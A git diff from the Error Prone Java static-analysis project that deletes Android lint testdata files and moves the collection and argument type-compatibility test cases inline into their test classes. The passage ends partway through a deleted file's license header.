a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathNegativeCases.java deleted file mode 100644 index 272a38460fe..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathNegativeCases.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class HardCodedSdCardPathNegativeCases { - static final String PATH1 = "/home/sdcard"; - - static final String PATH2 = "/data/file1"; - - static final String FRAGMENT1 = "/root"; - - static final String FRAGMENT2 = "sdcard"; - - static final String PATH3 = FRAGMENT1 + "/" + FRAGMENT2; - - static final String PATH4 = "/data/dir/file2"; - - static final String FRAGMENT3 = "/data"; - - static final String FRAGMENT4 = "1user"; - - static final String PATH5 = FRAGMENT3 + "/" + FRAGMENT4; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathPositiveCases.java deleted file mode 100644 index 1ed96e9c060..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathPositiveCases.java +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class HardCodedSdCardPathPositiveCases { - // BUG: Diagnostic contains: Environment - static final String PATH1 = "/sdcard"; - - // BUG: Diagnostic contains: Environment - static final String PATH2 = "/sdcard/file1"; - - // BUG: Diagnostic contains: Environment - static final String PATH3 = "/mnt/sdcard/file2"; - - // BUG: Diagnostic contains: Environment - static final String PATH4 = "/" + "sd" + "card"; - - // BUG: Diagnostic contains: Environment - static final String PATH5 = "/system/media/sdcard"; - - // BUG: Diagnostic contains: Environment - static final String PATH6 = "/system/media/sdcard/file3"; - - // BUG: Diagnostic contains: Environment - static final String PATH7 = "file://sdcard/file2"; - - // BUG: Diagnostic contains: Environment - static final String PATH8 = "file:///sdcard/file2"; - - // BUG: Diagnostic contains: Context - static final String PATH9 = "/data/data/dir/file"; - - // BUG: Diagnostic contains: Context - static final String PATH10 = "/data/user/file1"; - - static final String FRAGMENT1 = "/data"; - - static final String FRAGMENT2 = "/user"; - - // BUG: Diagnostic contains: Context - static final String PATH11 = "/data" + "/" + "user"; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredNegativeCases.java deleted file mode 100644 index 0754c359ef3..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredNegativeCases.java +++ /dev/null @@ -1,70 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -import android.graphics.Rect; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class RectIntersectReturnValueIgnoredNegativeCases { - boolean checkSimpleCall(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { - return rect.intersect(aLeft, aTop, aRight, aBottom); - } - - boolean checkOverload(Rect rect1, Rect rect2) { - return rect1.intersect(rect2); - } - - void checkInTest(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { - if (!rect.intersect(aLeft, aTop, aRight, aBottom)) { - rect.setEmpty(); - } - } - - class InternalScope { - class Rect { - int left; - int right; - int top; - int bottom; - - boolean intersect(int aLeft, int aTop, int aRight, int aBottom) { - throw new RuntimeException("Not implemented"); - } - } - - void checkHomonym(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { - rect.intersect(aLeft, aTop, aRight, aBottom); - } - } - - class RectContainer { - int xPos; - int yPos; - Rect rect; - - boolean intersect(int length, int width) { - return rect.intersect(xPos, yPos, xPos + length, yPos + width); - } - } - - void checkInMethod(int length, int width) { - RectContainer container = new RectContainer(); - container.intersect(length, width); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredPositiveCases.java deleted file mode 100644 index e359147a555..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredPositiveCases.java +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -import android.graphics.Rect; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class RectIntersectReturnValueIgnoredPositiveCases { - void checkSimpleCall(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { - // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked - rect.intersect(aLeft, aTop, aRight, aBottom); - } - - void checkOverload(Rect rect1, Rect rect2) { - // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked - rect1.intersect(rect2); - } - - class RectContainer { - int xPos; - int yPos; - Rect rect; - - boolean intersect(int length, int width) { - // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked - rect.intersect(xPos, yPos, xPos + length, yPos + width); - return true; - } - } - - void checkInMethod(int length, int width) { - RectContainer container = new RectContainer(); - container.intersect(length, width); - } - - void checkInField(RectContainer container) { - // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked - container.rect.intersect( - container.xPos, container.yPos, container.xPos + 10, container.yPos + 20); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/CollectionIncompatibleTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/CollectionIncompatibleTypeTest.java index d862a2a10f4..18f0bde8092 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/CollectionIncompatibleTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/CollectionIncompatibleTypeTest.java @@ -39,25 +39,575 @@ public class CollectionIncompatibleTypeTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/CollectionIncompatibleTypePositiveCases.java") + .addSourceLines( + "CollectionIncompatibleTypePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.common.collect.ClassToInstanceMap; +import java.util.ArrayList; +import java.util.Collection; +import java.util.Date; +import java.util.Deque; +import java.util.Dictionary; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Stack; +import java.util.Vector; +import java.util.concurrent.ConcurrentNavigableMap; +import java.util.concurrent.ConcurrentSkipListMap; + +/** Positive test cases for {@link CollectionIncompatibleType}. */ +public class CollectionIncompatibleTypePositiveCases { + + /* Tests for API coverage */ + + public void collection(Collection collection1, Collection collection2) { + // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method + // its type String is not compatible with its collection's type argument Integer + collection1.contains("bad"); + // BUG: Diagnostic contains: + collection1.remove("bad"); + // BUG: Diagnostic contains: Argument 'collection2' should not be passed to this method + // its type Collection has a type argument String that is not compatible with its + // collection's type argument Integer + collection1.containsAll(collection2); + // BUG: Diagnostic contains: + collection1.removeAll(collection2); + // BUG: Diagnostic contains: + collection1.retainAll(collection2); + } + + public void collectionSubtype(ArrayList arrayList1, ArrayList arrayList2) { + // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method + // its type String is not compatible with its collection's type argument Integer + arrayList1.contains("bad"); + // BUG: Diagnostic contains: + arrayList1.remove("bad"); + // BUG: Diagnostic contains: Argument 'arrayList2' should not be passed to this method + // its type ArrayList has a type argument String that is not compatible with its + // collection's type argument Integer + arrayList1.containsAll(arrayList2); + // BUG: Diagnostic contains: + arrayList1.removeAll(arrayList2); + // BUG: Diagnostic contains: + arrayList1.retainAll(arrayList2); + } + + public boolean deque(Deque deque) { + // BUG: Diagnostic contains: + boolean result = deque.removeFirstOccurrence("bad"); + // BUG: Diagnostic contains: + return result && deque.removeLastOccurrence("bad"); + } + + public boolean dequeSubtype(LinkedList linkedList) { + // BUG: Diagnostic contains: + boolean result = linkedList.removeFirstOccurrence("bad"); + // BUG: Diagnostic contains: + return result && linkedList.removeLastOccurrence("bad"); + } + + public String dictionary(Dictionary dictionary) { + // BUG: Diagnostic contains: + String result = dictionary.get("bad"); + // BUG: Diagnostic contains: + return result + dictionary.remove("bad"); + } + + public String dictionarySubtype(Hashtable hashtable) { + // BUG: Diagnostic contains: + String result = hashtable.get("bad"); + // BUG: Diagnostic contains: + return result + hashtable.remove("bad"); + } + + public int list() { + List list = new ArrayList(); + // BUG: Diagnostic contains: + int result = list.indexOf(1); + // BUG: Diagnostic contains: + return result + list.lastIndexOf(1); + } + + public void listSubtype() { + ArrayList arrayList = new ArrayList<>(); + // BUG: Diagnostic contains: + int result = arrayList.indexOf(1); + // BUG: Diagnostic contains: + result = arrayList.lastIndexOf(1); + } + + public boolean map() { + Map map = new HashMap<>(); + // BUG: Diagnostic contains: + String result = map.get("bad"); + // BUG: Diagnostic contains: + result = map.getOrDefault("bad", "soBad"); + // BUG: Diagnostic contains: + boolean result2 = map.containsKey("bad"); + // BUG: Diagnostic contains: + result2 = map.containsValue(1); + // BUG: Diagnostic contains: + result = map.remove("bad"); + return false; + } + + public boolean mapSubtype() { + ConcurrentNavigableMap concurrentNavigableMap = new ConcurrentSkipListMap<>(); + // BUG: Diagnostic contains: + String result = concurrentNavigableMap.get("bad"); + // BUG: Diagnostic contains: + boolean result2 = concurrentNavigableMap.containsKey("bad"); + // BUG: Diagnostic contains: + result2 = concurrentNavigableMap.containsValue(1); + // BUG: Diagnostic contains: + result = concurrentNavigableMap.remove("bad"); + return false; + } + + public int stack(Stack stack) { + // BUG: Diagnostic contains: + return stack.search("bad"); + } + + private static class MyStack extends Stack {} + + public int stackSubtype(MyStack myStack) { + // BUG: Diagnostic contains: + return myStack.search("bad"); + } + + public int vector(Vector vector) { + // BUG: Diagnostic contains: + int result = vector.indexOf("bad", 0); + // BUG: Diagnostic contains: + return result + vector.lastIndexOf("bad", 0); + } + + public int vectorSubtype(Stack stack) { + // BUG: Diagnostic contains: + int result = stack.indexOf("bad", 0); + // BUG: Diagnostic contains: + return result + stack.lastIndexOf("bad", 0); + } + + /* Tests for behavior */ + + public boolean errorMessageUsesSimpleNames(Collection collection) { + // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method + // its type String is not compatible with its collection's type argument Integer + return collection.contains("bad"); + } + + private static class Date {} + + public boolean errorMessageUsesFullyQualifedNamesWhenSimpleNamesAreTheSame( + Collection collection1, Collection collection2) { + // BUG: Diagnostic contains: Argument 'new Date()' should not be passed to this method + // its type + // com.google.errorprone.bugpatterns.collectionincompatibletype.testdata.CollectionIncompatibleTypePositiveCases.Date is not compatible with its collection's type argument java.util.Date + return collection1.contains(new Date()); + } + + public boolean boundedWildcard() { + Collection collection = new ArrayList<>(); + // BUG: Diagnostic contains: + return collection.contains("bad"); + } + + private static class Pair { + public A first; + public B second; + } + + public boolean declaredTypeVsExpressionType(Pair pair, List list) { + // BUG: Diagnostic contains: + return list.contains(pair.second); + } + + public String subclassHasDifferentTypeParameters(ClassToInstanceMap map, String s) { + // BUG: Diagnostic contains: + return map.get(s); + } + + private static class MyArrayList extends ArrayList {} + + public void methodArgumentIsSubclassWithDifferentTypeParameters( + Collection collection, MyArrayList myArrayList) { + // BUG: Diagnostic contains: + collection.containsAll(myArrayList); + } + + private static class IncompatibleBounds { + private boolean function(Map map, K key) { + // BUG: Diagnostic contains: + return map.containsValue(key); + } + } + + interface Interface {} + + private static final class FinalClass1 {} + + private static final class FinalClass2 {} + + private static class NonFinalClass1 {} + + private static class NonFinalClass2 {} + + public boolean oneInterfaceAndOneFinalClass( + Collection collection, FinalClass1 finalClass1) { + // BUG: Diagnostic contains: + return collection.contains(finalClass1); + } + + public boolean oneFinalClassAndOneInterface(Collection collection, Interface iface) { + // BUG: Diagnostic contains: + return collection.contains(iface); + } + + public boolean bothNonFinalClasses( + Collection collection, NonFinalClass2 nonFinalClass2) { + // BUG: Diagnostic contains: + return collection.contains(nonFinalClass2); + } + + public boolean bothFinalClasses(Collection collection, FinalClass2 finalClass2) { + // BUG: Diagnostic contains: + return collection.contains(finalClass2); + } + + public boolean oneNonFinalClassAndOneFinalClass( + Collection collection, FinalClass1 finalClass1) { + // BUG: Diagnostic contains: + return collection.contains(finalClass1); + } + + public boolean oneFinalClassAndOneNonFinalClass( + Collection collection, NonFinalClass1 nonFinalClass1) { + // BUG: Diagnostic contains: + return collection.contains(nonFinalClass1); + } +}""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/CollectionIncompatibleTypeNegativeCases.java") + .addSourceLines( + "CollectionIncompatibleTypeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.common.base.Optional; +import com.google.common.collect.ClassToInstanceMap; +import java.util.ArrayList; +import java.util.Collection; +import java.util.Date; +import java.util.Deque; +import java.util.Dictionary; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.Stack; +import java.util.Vector; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ConcurrentNavigableMap; +import java.util.concurrent.ConcurrentSkipListMap; + +/** Negative test cases for {@link CollectionIncompatibleType}. */ +public class CollectionIncompatibleTypeNegativeCases { + + /* Tests for API coverage */ + + public boolean collection(Collection collection1, Collection collection2) { + boolean result = collection1.contains("ok"); + result &= collection1.contains(null); + result &= collection1.remove("ok"); + result &= collection1.remove(null); + result &= collection1.containsAll(collection2); + result &= collection1.containsAll(null); + result &= collection1.removeAll(collection2); + result &= collection1.removeAll(null); + result &= collection1.retainAll(collection2); + return result && collection1.retainAll(null); + } + + public boolean collectionSubtype(ArrayList arrayList1, ArrayList arrayList2) { + boolean result = arrayList1.contains("ok"); + result &= arrayList1.contains(null); + result &= arrayList1.remove("ok"); + result &= arrayList1.remove(null); + result &= arrayList1.containsAll(arrayList2); + result &= arrayList1.containsAll(null); + result &= arrayList1.removeAll(arrayList2); + result &= arrayList1.removeAll(null); + result &= arrayList1.retainAll(arrayList2); + return result && arrayList1.retainAll(null); + } + + public boolean deque(Deque deque) { + boolean result = deque.removeFirstOccurrence("ok"); + result &= deque.removeFirstOccurrence(null); + result &= deque.removeLastOccurrence("ok"); + return result && deque.removeLastOccurrence(null); + } + + public boolean dequeSubtype(LinkedList linkedList) { + boolean result = linkedList.removeFirstOccurrence("ok"); + result &= linkedList.removeFirstOccurrence(null); + result &= linkedList.removeLastOccurrence("ok"); + return result && linkedList.removeLastOccurrence(null); + } + + public int dictionary(Dictionary dictionary) { + int result = dictionary.get("ok"); + result += dictionary.get(null); + result += dictionary.remove("ok"); + return result + dictionary.remove(null); + } + + public int dictionarySubtype(Hashtable hashtable) { + int result = hashtable.get("ok"); + result += hashtable.get(null); + result += hashtable.remove("ok"); + return result + hashtable.remove(null); + } + + public int list() { + List list = new ArrayList(); + int result = list.indexOf("ok"); + result += list.indexOf(null); + result += list.lastIndexOf("ok"); + return result + list.lastIndexOf(null); + } + + public int listSubtype() { + ArrayList arrayList = new ArrayList<>(); + int result = arrayList.indexOf("ok"); + result += arrayList.indexOf(null); + result += arrayList.lastIndexOf("ok"); + return result + arrayList.lastIndexOf(null); + } + + public boolean map() { + Map map = new HashMap<>(); + String result = map.get(1); + result = map.getOrDefault(1, "hello"); + boolean result2 = map.containsKey(1); + result2 = map.containsValue("ok"); + result2 &= map.containsValue(null); + result = map.remove(1); + return result2; + } + + public boolean mapSubtype() { + ConcurrentNavigableMap concurrentNavigableMap = new ConcurrentSkipListMap<>(); + String result = concurrentNavigableMap.get(1); + boolean result2 = concurrentNavigableMap.containsKey(1); + result2 &= concurrentNavigableMap.containsValue("ok"); + result2 &= concurrentNavigableMap.containsValue(null); + result = concurrentNavigableMap.remove(1); + return result2; + } + + public int stack(Stack stack) { + int result = stack.search("ok"); + return result + stack.search(null); + } + + private static class MyStack extends Stack {} + + public int stackSubtype(MyStack myStack) { + int result = myStack.search("ok"); + return result + myStack.search(null); + } + + public int vector(Vector vector) { + int result = vector.indexOf("ok", 0); + result += vector.indexOf(null, 0); + result += vector.lastIndexOf("ok", 0); + return result + vector.lastIndexOf(null, 0); + } + + public int vectorSubtype(Stack stack) { + int result = stack.indexOf("ok", 0); + result += stack.indexOf(null, 0); + result += stack.lastIndexOf("ok", 0); + return result + stack.lastIndexOf(null, 0); + } + + /* Tests for behavior */ + + private class B extends Date {} + + public boolean argTypeExtendsContainedType() { + Collection collection = new ArrayList<>(); + return collection.contains(new B()); + } + + public boolean containedTypeExtendsArgType() { + Collection collection = new ArrayList<>(); + Object actuallyAString = "ok"; + return collection.contains(actuallyAString); + } + + public boolean boundedWildcard() { + Collection collection = new ArrayList<>(); + return collection.contains(new Date()) || collection.contains(new B()); + } + + public boolean unboundedWildcard() { + Collection collection = new ArrayList<>(); + return collection.contains("ok") || collection.contains(new Object()); + } + + public boolean rawType() { + Collection collection = new ArrayList(); + return collection.contains("ok"); + } + + private class DoesntExtendCollection { + public boolean contains(Object o) { + return true; + } + } + + public boolean doesntExtendCollection() { + DoesntExtendCollection collection = new DoesntExtendCollection<>(); + return collection.contains(new Date()); + } + + private static class Pair { + public A first; + public B second; + } + + public boolean declaredTypeVsExpressionType(Pair pair, List list) { + return list.contains(pair.first); + } + + public boolean containsParameterizedType( + Collection> collection, Class clazz) { + return collection.contains(clazz); + } + + public boolean containsWildcard(Collection collection, Optional optional) { + return collection.contains(optional.get()); + } + + public T subclassHasDifferentTypeParameters( + ClassToInstanceMap map, Class klass) { + return klass.cast(map.get(klass)); + } + + // Ensure we don't match Hashtable.contains and ConcurrentHashtable.contains because there is a + // separate check, HashtableContains, specifically for them. + public boolean hashtableContains() { + Hashtable hashtable = new Hashtable<>(); + ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap<>(); + return hashtable.contains(1) || concurrentHashMap.contains(1); + } + + private static class MyHashMap extends HashMap {} + + public boolean boundedTypeParameters(MyHashMap myHashMap) { + return myHashMap.containsKey(1); + } + + interface Interface1 {} + + interface Interface2 {} + + private static class NonFinalClass {} + + public boolean bothInterfaces(Collection collection, Interface2 iface2) { + return collection.contains(iface2); + } + + public boolean oneInterfaceAndOneNonFinalClass( + Collection collection, NonFinalClass nonFinalClass) { + return collection.contains(nonFinalClass); + } + + public boolean oneNonFinalClassAndOneInterface( + Collection collection, Interface1 iface) { + return collection.contains(iface); + } + + public void methodArgHasSubtypeTypeArgument( + Collection collection1, Collection collection2) { + collection1.containsAll(collection2); + } + + public void methodArgHasSuperTypeArgument( + Collection collection1, Collection collection2) { + collection1.containsAll(collection2); + } + + public void methodArgHasWildcardTypeArgument( + Collection collection1, Collection collection2) { + collection1.containsAll(collection2); + } + + public void methodArgCastToCollectionWildcard( + Collection collection1, Collection collection2) { + collection1.containsAll((Collection) collection2); + } + + public void classToken( + Set>> iterables, Class arrayListClass) { + iterables.contains(arrayListClass); + } +}""") .doTest(); } @Test public void outOfBounds() { - compilationHelper.addSourceFile("testdata/CollectionIncompatibleTypeOutOfBounds.java").doTest(); + compilationHelper + .addSourceLines( + "CollectionIncompatibleTypeOutOfBounds.java", + """ + package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + + import java.util.Properties; + + /** This is a regression test for Issue 222. */ + public class CollectionIncompatibleTypeOutOfBounds { + public void test() { + Properties properties = new Properties(); + properties.get(""); + } + }""") + .doTest(); } @Test public void classCast() { - compilationHelper.addSourceFile("testdata/CollectionIncompatibleTypeClassCast.java").doTest(); + compilationHelper + .addSourceLines( + "CollectionIncompatibleTypeClassCast.java", + """ + package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + + import java.util.HashMap; + + /** This is a regression test for Issue 222. */ + public class CollectionIncompatibleTypeClassCast extends HashMap { + public void test(K k) { + get(k); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/IncompatibleArgumentTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/IncompatibleArgumentTypeTest.java index 692187cbcfa..b685033f07a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/IncompatibleArgumentTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/IncompatibleArgumentTypeTest.java @@ -30,27 +30,270 @@ public class IncompatibleArgumentTypeTest { @Test public void genericMethod() { - compilationHelper.addSourceFile("testdata/IncompatibleArgumentTypeGenericMethod.java").doTest(); + compilationHelper + .addSourceLines( + "IncompatibleArgumentTypeGenericMethod.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.errorprone.annotations.CompatibleWith; + +/** Test IncompatibleArgumentType with a generic method */ +public class IncompatibleArgumentTypeGenericMethod { + class A { + C remove(@CompatibleWith("B") Object b, @CompatibleWith("C") Object c) { + return null; + } + + C varargs(@CompatibleWith("B") Object b, @CompatibleWith("C") Object... cs) { + return (C) cs[0]; + } + } + + class C extends A {} + + void testfoo(C c, A unbound, A boundToNumber) { + c.remove("a", null); // OK, match null to Double + c.remove("a", 123.0); // OK, match Double to Double + c.remove("a", 123); // OK, 2nd arg is unbound + + unbound.remove(null, 123); // OK, variables unbound + + // BUG: Diagnostic contains: String is not compatible with the required type: Number + boundToNumber.remove("123", null); + + // BUG: Diagnostic contains: int is not compatible with the required type: Double + Double d = c.remove("a", 123); + // BUG: Diagnostic contains: int is not compatible with the required type: Double + c.remove("a", 123); + + // BUG: Diagnostic contains: float is not compatible with the required type: Double + c.remove(123, 123.0f); + } + + void testVarargs(A stringA) { + // OK, all varargs elements compatible with Integer + Integer first = stringA.varargs("hi", 2, 3, 4); + + // BUG: Diagnostic contains: long is not compatible with the required type: Integer + first = stringA.varargs("foo", 2, 3L); + + // OK, everything compatible w/ Object + Object o = stringA.varargs("foo", 2L, 1.0d, "a"); + } +}""") + .doTest(); } @Test public void owningTypes() { compilationHelper - .addSourceFile("testdata/IncompatibleArgumentTypeEnclosingTypes.java") + .addSourceLines( + "IncompatibleArgumentTypeEnclosingTypes.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.errorprone.annotations.CompatibleWith; +import java.util.Set; + +/** Test case for enclosing type */ +public class IncompatibleArgumentTypeEnclosingTypes { + static class Foo { + class Bar { + void doSomething(@CompatibleWith("Y") Object x) {} + } + + class Sub { + class SubSub { + void doSomething(@CompatibleWith("X") Object nestedResolution) {} + + X methodVarIsReturn(@CompatibleWith("X") Object nestedResolution) { + return null; + } + + void methodVarIsFree(@CompatibleWith("X") Object nestedResolution) {} + + void compatibleWithBase(@CompatibleWith("Y") Object nestedResolution) {} + } + } + + static class Baz { + // Shouldn't resolve to anything, would be a compile error due to CompatibleWithMisuse + static void doSomething(@CompatibleWith("X") Object x) {} + } + } + + void testSubs() { + new Foo().new Bar().doSomething("a"); + // BUG: Diagnostic contains: int is not compatible with the required type: String + new Foo().new Bar().doSomething(123); + new Foo().new Bar().doSomething(123); + + Foo.Bar rawtype = new Foo().new Bar(); + rawtype.doSomething(123); // Weakness, rawtype isn't specialized in Foo + + Foo.Baz.doSomething(123); // No resolution of X + } + + void testMegasub() { + new Foo().new Sub().new SubSub().doSomething(true); + // BUG: Diagnostic contains: int is not compatible with the required type: Boolean + new Foo().new Sub().new SubSub().doSomething(123); + + // X in method is unbound + new Foo().new Sub().new SubSub().methodVarIsReturn(123); + + // BUG: Diagnostic contains: int is not compatible with the required type: Set + new Foo().new Sub().new SubSub().>methodVarIsReturn(123); + + // BUG: Diagnostic contains: int is not compatible with the required type: String + new Foo().new Sub().new SubSub().>compatibleWithBase(123); + } + + void extraStuff() { + // Javac throws away the type of since it's not used in params/return type, so we can't + // enforce it here. + new Foo().new Sub().new SubSub().>methodVarIsFree(123); + } +}""") .doTest(); } @Test public void multimapIntegration() { compilationHelper - .addSourceFile("testdata/IncompatibleArgumentTypeMultimapIntegration.java") + .addSourceLines( + "IncompatibleArgumentTypeMultimapIntegration.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.errorprone.annotations.CompatibleWith; + +/** Integration test testing a hypothetical multimap interface */ +public class IncompatibleArgumentTypeMultimapIntegration { + interface Multimap { + boolean containsKey(@CompatibleWith("K") Object key); + + boolean containsValue(@CompatibleWith("V") Object value); + + boolean containsEntry(@CompatibleWith("K") Object key, @CompatibleWith("V") Object value); + + boolean containsAllKeys(@CompatibleWith("K") Object key, Object... others); + } + + class MyMultimap implements Multimap { + @Override + public boolean containsKey(Object key) { + return false; + } + + @Override + public boolean containsValue(Object value) { + return false; + } + + @Override + public boolean containsEntry(Object key, Object value) { + return false; + } + + @Override + public boolean containsAllKeys(Object key, Object... keys) { + return false; + } + } + + void testRegularValid(Multimap intToString) { + intToString.containsKey(123); + intToString.containsEntry(123, "abc"); + intToString.containsValue("def"); + // 0-entry vararg doesn't crash + intToString.containsAllKeys(123); + } + + static void testIncompatibleWildcards( + Multimap map, K key, V value) { + map.containsKey(key); + map.containsValue(value); + map.containsEntry(key, value); + + // BUG: Diagnostic contains: V is not compatible with the required type: K + map.containsEntry(value, key); + // BUG: Diagnostic contains: K is not compatible with the required type: V + map.containsValue(key); + // BUG: Diagnostic contains: V is not compatible with the required type: K + map.containsKey(value); + } + + void testVarArgs(Multimap intToString) { + // Validates the first, not the varags params + intToString.containsAllKeys(123, 123, 123); + // TODO(glorioso): If we make it work with varargs, this should fail + intToString.containsAllKeys(123, 123, "a"); + + Integer[] keys = {123, 345}; + intToString.containsAllKeys(123, (Object[]) keys); + } +}""") .doTest(); } @Test public void intersectionTypes() { compilationHelper - .addSourceFile("testdata/IncompatibleArgumentTypeIntersectionTypes.java") + .addSourceLines( + "IncompatibleArgumentTypeIntersectionTypes.java", + """ +package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; + +import com.google.errorprone.annotations.CompatibleWith; + +/** Test intersection types. */ +public class IncompatibleArgumentTypeIntersectionTypes { + + interface Nothing {} + + interface Something {} + + interface Everything extends Nothing, Something {} + + class Test { + void doSomething(@CompatibleWith("X") Object whatever) {} + } + + class ArrayTest { + void doSomething(@CompatibleWith("X") Object whatever) {} + } + + void testStuff(Test someTest, Everything[] everythings, Nothing nothing) { + // Final classes (Integer) can't be cast to an interface they don't implement + // BUG: Diagnostic contains: int is not compatible with the required type: Everything + someTest.doSomething(123); + + // Non-final classes can. + someTest.doSomething((Object) 123); + + // Arrays can't, since they can only be cast to Serializable + // BUG: Diagnostic contains: Everything[] is not compatible with the required type: Everything + someTest.doSomething(everythings); + + // BUG: Diagnostic contains: Everything[][] is not compatible with the required type: Everything + someTest.doSomething(new Everything[][] {everythings}); + + // OK (since some other implementer of Nothing could implement Everything) + someTest.doSomething(nothing); + } + + void testArraySpecialization( + ArrayTest arrayTest, Integer[] ints, Object[] objz, String[] strings) { + arrayTest.doSomething(ints); + + arrayTest.doSomething(objz); + + // BUG: Diagnostic contains: String[] is not compatible with the required type: Number[] + arrayTest.doSomething(strings); + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeClassCast.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeClassCast.java deleted file mode 100644 index 50e1c8496bb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeClassCast.java +++ /dev/null @@ -1,26 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * 